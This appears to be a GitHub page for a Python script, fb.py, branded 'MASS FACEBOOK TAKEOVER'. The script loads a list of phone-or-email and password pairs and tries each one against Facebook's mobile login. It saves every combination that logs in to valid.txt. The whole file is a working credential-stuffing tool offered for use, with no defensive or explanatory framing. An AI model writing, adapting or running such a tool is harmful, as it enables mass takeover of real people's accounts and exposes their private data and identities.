-
Notifications
You must be signed in to change notification settings - Fork 0
/
fb.py
executable file
·66 lines (52 loc) · 1.67 KB
/
fb.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import requests
import time, sys
version = "v0.3"
contact = "Site: https://0xprial.com"
def play_loading_animation(count, prefix="", size=60, file=sys.stdout):
def show(j):
x = int(size * j / count)
file.write(f"{prefix}[{'#'*x}{'.'*(size-x)}]\r")
file.flush()
show(0)
for i in range(count):
time.sleep(0.1)
show(i + 1)
file.write("\n")
file.flush()
play_loading_animation(15)
print(
r"""
+-+-+-+-+ +-+-+-+-+-+-+-+-+ +-+-+-+-+-+-+-+-+
|M|A|S|S| |F|A|C|E|B|O|O|K| |T|A|K|E|O|V|E|R|
+-+-+-+-+ +-+-+-+-+-+-+-+-+ +-+-+-+-+-+-+-+-+
Modified by @0xPrial and Wasi Master
"""
)
print(version)
print(contact)
print("")
req = requests.Session()
a = input("Input USER-PHONE:PASSWORD File Name : ")
print("")
print("")
file = open(a, "r")
stop = "default"
items = [s.rstrip() for s in file.readlines()]
for lines in items:
username, _, password = lines.partition(":")
param = {"email": username, "pass": password}
source = req.post("https://m.facebook.com/login", data=param)
req.cookies.clear()
if "/home.php" in source.url:
print(f"Valid Credentials: Username=>{username} Pass=>{password}\n")
for i in range(1):
with open("valid.txt", "a") as valid_file:
valid_file.write(f"Username=>{username} Pass=>{password}\n")
else:
print("Invalid Credentials")
for j in range(1):
with open("invalid.txt", "a") as invalid_file:
invalid_file.write(f"Username=>{username} Pass=>{password}\n")
if stop in username:
break
print("\nAll Valid Credentials Saved into valid.txt \n" "And All invalid Credentials Saved into invalid.txt")